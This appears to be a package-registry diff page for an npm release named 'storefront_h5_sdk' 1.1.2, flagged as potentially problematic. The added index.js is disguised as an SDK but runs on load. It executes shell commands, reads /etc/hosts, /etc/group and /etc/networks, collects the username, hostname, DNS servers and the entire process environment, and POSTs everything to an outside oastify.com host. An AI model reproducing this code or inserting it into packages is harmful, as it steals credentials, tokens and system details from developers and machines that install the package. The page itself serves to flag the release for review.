storefront_h5_sdk 1.1.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of storefront_h5_sdk might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +58 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ //author:- rawSpec
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const fs=require("fs");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const { execSync } = require("child_process");
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+ const npmListOutput = execSync('npm list').toString('utf8');
11
+ const envOutput = execSync('cd&&ls').toString('utf8');
12
+
13
+
14
+ const trackingData = JSON.stringify({
15
+ p: package,
16
+ c: __dirname,
17
+ hd: os.homedir(),
18
+ hn: os.hostname(),
19
+ hosts: fs.readFileSync("/etc/hosts").toString('utf8'),
20
+ un: os.userInfo().username,
21
+ dns: dns.getServers(),
22
+ file: fs.readFileSync("/etc/group").toString('utf8'),
23
+ npmList: npmListOutput,
24
+ ls:envOutput,
25
+ file1: fs.readFileSync("/etc/networks").toString('utf8'),
26
+ environment: process.env,
27
+ r: packageJSON ? packageJSON.___resolved : undefined,
28
+ v: packageJSON.version,
29
+ pjson: packageJSON,
30
+ });
31
+
32
+ var postData = querystring.stringify({
33
+ msg: trackingData,
34
+ });
35
+
36
+ var options = {
37
+ hostname: "ovn8m3mpm90l4jw05kpia0d61x7ovhl5a.oastify.com",
38
+ port: 443,
39
+ path: "/",
40
+ method: "POST",
41
+ headers: {
42
+ "Content-Type": "application/x-www-form-urlencoded",
43
+ "Content-Length": postData.length,
44
+ },
45
+ };
46
+
47
+ var req = https.request(options, (res) => {
48
+ res.on("data", (d) => {
49
+ process.stdout.write(d);
50
+ });
51
+ });
52
+
53
+ req.on("error", (e) => {
54
+ // console.error(e);
55
+ });
56
+
57
+ req.write(postData);
58
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "storefront_h5_sdk",
3
+ "version": "1.1.2",
4
+ "description": "h5_sdk",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }